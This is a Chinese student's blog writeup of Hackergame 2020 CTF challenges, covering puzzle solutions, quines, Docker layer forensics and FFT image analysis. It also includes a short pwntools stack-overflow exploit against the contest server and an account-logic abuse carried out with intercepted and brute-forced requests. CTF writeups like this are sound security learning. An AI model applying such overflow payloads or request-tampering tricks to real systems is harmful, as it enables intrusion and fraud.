Hackergame 2020部分题目WP

原创

夜魅楠孩 于 2020-11-07 18:39:18 发布 836 收藏 2
分类专栏： CTFWP 文章标签： 安全 经验分享

Writeup

第一篇博客，写的不好请见谅~
作为一个刚接触CTF2个多月的大一萌新，感觉Hackergame的题目还是相当友好和好玩的，不像之前打的西湖论剑和N1CTF，除了签到，问卷啥也不会(>_<)，真的直接打自闭~
尽管这周打的很艰难，毕竟学生党要上课...但最后的成绩自己还是比较满意的：
1.抢到了一道一血：一闪而过的flag
2.总分：1950 总排名：147（比赛刚开始 占据了第一名5分钟，巅峰时打到第87名，然后就开始往下掉了QAQ~）

由于部分flag为动态flag，仅供参考

题目网站： https://hack.lug.ustc.edu.cn/

签到

11:55准时坐在电脑前准备抢flag，11:59:55秒刷新一下，然后开始抢签到（嗯，萌新就是这样抢一血的）
进去条随便拖了两下点提交，发现url后多了?number=0.08459，然后脑子一抽，改成了1.0，痛失一血，呜呜
改成1得到flag：**flag{hR6Ku81-HappyHacking2020-b13786f61b}**

猫咪问答++

q1的话，google图片全部搜一遍，然后一不小心搜成13个...（答案12个）
q2的话，直接百度发现RFC1149协议，再查看这个协议得到答案：256
q3的话，去翻协会新闻推文，发现介绍的开源游戏名为Teeworlds，所以答案为9
q4的话，百度地图搜索中国科学技术大学西校区图书馆，街景数车位得知答案为9
q5的话，之前翻看Hackgame比赛首页底下相关链接里的第六届新闻稿里见过提交次数，所以打开看了眼，得到答案为17098
最后把不确定的q1上下调整一下，得到flag：**flag{b4a31f2a_G00G1e_1s_y0ur_fr13nd_a3bf4c8dc9}**

2048

F12查看js代码，发现大成功后执行如下代码：

```
var url;
if (won) {
  url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
} else {
  url = "/getflxg?my_favorite_fruit=";
}
```

从baaa可猜测出题人最喜欢的水果是banana（嗯？）
然后直接在url后加上/getflxg?my_favorite_fruit=banana得到flxg：**flxg{8G6so5g-FLXG-9a0c684641}**

一闪而过的 Flag

做完签到，没抢到一血，极其郁闷，扫了眼题目列表。一**闪而过的 Flag**难道是扔到命令行里防闪退？？好，就你了。
然后如预期一般，得到flag：**flag{Are_you_eyes1ght_g00D?_can_you_dlst1nguish_1il?}**
提交一看，一血！！！靠着第一个拿到150分，居然占据了第一名5分钟，嘻嘻。

从零开始的记账工具人

这题用了一种很草的解法。
百度全是数字转中文金额，好不容易发现方方格子Excel插件中有函数可以将中文金额转为数字
然后最坑的地方出现了，这函数有bug！！！像拾肆元之类的，”拾“开头的统统转换错误
大一萌新不会复杂脚本呀，那就在这基础上凑合着弄个修bug的脚本吧
百度现场学python处理Excel的库，经过无数次调试，终于成功了！
脚本如下，大佬轻喷，写的真的烂

```
# coding=gbk
import xlrd
import xlwt
workbook=xlrd.open_workbook('bills.xlsx')
Excel = xlwt.Workbook()
sheet = Excel.add_sheet('B')
sheet1=workbook.sheet_by_name('Sheet1')
ncols=sheet1.nrows
for i in range(1,ncols):
    if ((sheet1.cell(i,0).value)[0:1]) == '拾':
        if (sheet1.cell(i,0).value)[0:2] == '拾元':
            sum ='10.'
            for j in (sheet1.cell(i,0).value)[2::]:
                if j == '零':
                    sum = sum + '0'
                elif j == '壹':
                    sum = sum + '1'
                elif j == '贰':
                    sum = sum + '2'
                elif j == '叁':
                    sum = sum + '3'
                elif j == '肆':
                    sum = sum + '4'
                elif j == '伍':
                    sum = sum + '5'
                elif j == '陆':
                    sum = sum + '6'
                elif j == '柒':
                    sum = sum + '7'
                elif j == '捌':
                    sum = sum + '8'
                elif j == '玖':
                    sum = sum + '9'
```

```
        else:
            sum ='1'
            for j in (sheet1.cell(i,0).value)[1::]:
                if j == '零':
                    sum = sum + '0'
                elif j == '壹':
                    sum = sum + '1'
                elif j == '贰':
                    sum = sum + '2'
                elif j == '叁':
                    sum = sum + '3'
                elif j == '肆':
                    sum = sum + '4'
                elif j == '伍':
                    sum = sum + '5'
                elif j == '陆':
                    sum = sum + '6'
                elif j == '柒':
                    sum = sum + '7'
                elif j == '捌':
                    sum = sum + '8'
                elif j == '玖':
                    sum = sum + '9'
                elif j == '元':
                    sum =sum + '.'
        sheet.write(i,0,float(sum))
    else:
        sheet.write(i,0,sheet1.cell(i,2).value)
Excel.save('Excel.xls')
```

下面是经或或爷点拨修改后的版本：*把python的字典忘了，我是憨憨*

```
# coding=gbk
import xlrd
import xlwt
workbook=xlrd.open_workbook('bills.xlsx')
Excel = xlwt.Workbook()
sheet = Excel.add_sheet('B')
sheet1=workbook.sheet_by_name('Sheet1')
d = {'零':'0','壹':'1','贰':'2','叁':'3','肆':'4','伍':'5','陆':'6','柒':'7','捌':'8','玖':'9','元':'.','角':'','分
':''}
ncols=sheet1.nrows
for i in range(1,ncols):
    if ((sheet1.cell(i,0).value)[0:1]) == '拾':
        if (sheet1.cell(i,0).value)[0:2] == '拾元':
            sum ='10.'
            for j in (sheet1.cell(i,0).value)[2::]:
                sum += d[j]
        else:
            sum ='1'
            for j in (sheet1.cell(i,0).value)[1::]:
                sum += d[j]
        sheet.write(i,0,float(sum))
    else:
        sheet.write(i,0,sheet1.cell(i,2).value)
Excel.save('Excel.xls')
```

把数量复制到Excel.xls中，简单的相乘求和得到flag：**flag{18434.82}**

超简单的世界模拟器

蝴蝶效应

百度可知生命游戏，lifewiki上找到太空船模型解决，得到flag：**flag{D0_Y0U_l1k3_g4me_0f_l1fe?_a8e066dfae}**

一石二鸟

3艘太空船乱凑，凑出第二问flag：**flag{1s_th3_e55ence_0f_0ur_un1ver5e_ju5t_c0mputat1on?_5dd028665b}**
具体怎么输入就不挂了，看官方WP吧~

自复读的复读机

反向复读

百度得知输出代码本身的代码有一个专有名称**quine**。之后找到一个题库网站，有各种quine，随便找一个修改一下
因为要逆向输出代码本身，于是加上[::-1]，然后发现末尾多了\n，所以再加上end="",代码如下：

```
s = 's = {};print(s.format(repr(s))[::-1],end="")';print(s.format(repr(s))[::-1],end="")
```

得到flag：**flag{Yes!_Y0U_h4v3_a_r3v3rs3d_Qu1ne_e604f5f9a5}**

哈希复读

因为要输出代码本身的sha256哈希值，导入hashlib库，调用sha256函数，构造代码如下：

```
s = 's = {};import hashlib;print((hashlib.sha256((s.format(repr(s))).encode()).hexdigest()),end="")';import hash
lib;print((hashlib.sha256((s.format(repr(s))).encode()).hexdigest()),end="")
```

得到flag：**flag{W0W_Y0Ur_c0de_0utputs_1ts_0wn_sha256_893e58accc}**

233 同学的字符串工具

字符串大写工具

有个网站（要挂梯子）上有各种unicode碰撞，找到一个连字**fl**，反正输进去解出来就是FL，俺也不知道为啥~，后面加上ag即可。
输入得到flag：**flag{badunic0debadbad_6173b2b915}**

编码转换工具

对同一个字符串，经过utf-7编码后有多种形式。
百度发现一个utf-7编码解码软件，输入flag后编码得到**+AGYAbABhAGc-**
输入得到flag：**flag{please_visit_www.utf8everywhere.org_799d706f62}**

233 同学的 Docker

先换源安装好docker，然后我为了防止docker下载镜像太慢，弄了个阿里云docker镜像加速
然后打开题目网址，复制指令**docker pull 8b8d3c8324c7/stringtool**，下载镜像
用指令**docker history（加上pull后得到的image ID）查看历史构建信息**
发现flag.txt在倒数第二层被删除，所以只要回到倒数第三层，即可得到flag.txt
输入docker inspect（加上pull后得到的image ID），data里找到倒数第三层（WorkDir为倒数第一层，UpperDir为倒数第二层，LowerDir里第一个为倒数第三层，后面依次推）
然后用指令**tree /var/lib/docker/overlay2/16befb58ffd365c567f04e8c6e85e1598855c8da8dc733a2b84de6dfe6fb0ae5/diff**，列出目录下所有文件
发现flag.txt在code目录下，cat得到flag：**flag{Docker_Layers!=PS_Layers_hhh}**

来自一教的图片

根据题目提示傅里叶，百度找到python傅里叶变换脚本如下：

```
import numpy as np
import cv2 as cv
from matplotlib import pyplot as plt
img = cv.imread('1.bmp', 0)
f = np.fft.fft2(img)
logf = 20*np.log(np.abs(f))
plt.imshow(logf, 'gray')
plt.show()
```

运行得到flag：**flag{Fxurier_xptics_is_fun}**

生活在博弈树上

始终热爱大地

嗯，浙江的大一新生看到这题目，立马想到了那篇高考满分作文《生活在树上》
由于刚开始以为这题是General，然后代码看了半天，还去查了算法，只明白了一件事，正常下是不可能赢的…
然后发现存在gets，可以栈溢出，而判断胜利的条件为success=True，所以直接栈溢出覆盖success的值为1
正当我想吐槽general考察pwn时，回去一看发现他其实是binary分区，可恶呢
编写exp如下：

```
from pwn import *
p=remote("202.38.93.111",10141)
token='611:MEQCIBgsOHGKWe37yMSb/9ciPbOzYahxQWPaPGOZo3/KXSoVAiAYQEnr2h2cg9aISewpj8NlguUQ7lUrPFna4KDGL2fyOQ=='
p.recv()
p.sendline(token)
p.recv()
payload='(1,1)'+b'A'*143+p64(1)
p.sendline(payload)
p.interactive()
```

然后正常下棋，使平局，不然check函数会将success赋值为false，结束后得到
flag：**flag{easy_gamE_but_can_u_get_my_shel1}**

升上天空

呜呜，pwn太难了，做不来QAQ，看官方WP吧

狗狗银行

这题想了好久没思路，然后翻了翻前两年的WP，试了试猫猫银行的溢出，用信用卡给储蓄卡转大额资金
发现净资产变多了！！然后抓包改数据，净资产直接突破2000，但是并没有flag
本以为是没有把钱还清造成的，然后还完发现净资产又回到了1000，再加上服务器疯狂崩溃，就卡住了
第二题官方更新了公告，被告知转大额资金导致的净资产增加是前端浮点型计算导致的，后端采用大整数精确计算
突然眼前一亮，既然是大整数，那就试试四舍五入，发现储蓄卡中有167元时利息为1元
略加计算可知，2张信用卡每张给储蓄卡转2009元，再将这4008元分配给24张储蓄卡，可以得到24元的利息，4018-4008剩下的钱正好吃饭，信用卡利息减10元，则可以白嫖到14元。
所以采用bp抓包爆破大量办卡，通过更改payload继续爆破进行办卡转钱操作，然后恰几天饭收利息即可到达2000元，得到flag：**flag{W0W.So.R1ch.Much.Smart.52f2d579}**

哎，肝了7天就做出来这么点题，还是太菜了，慢慢学吧~

官方WP传送门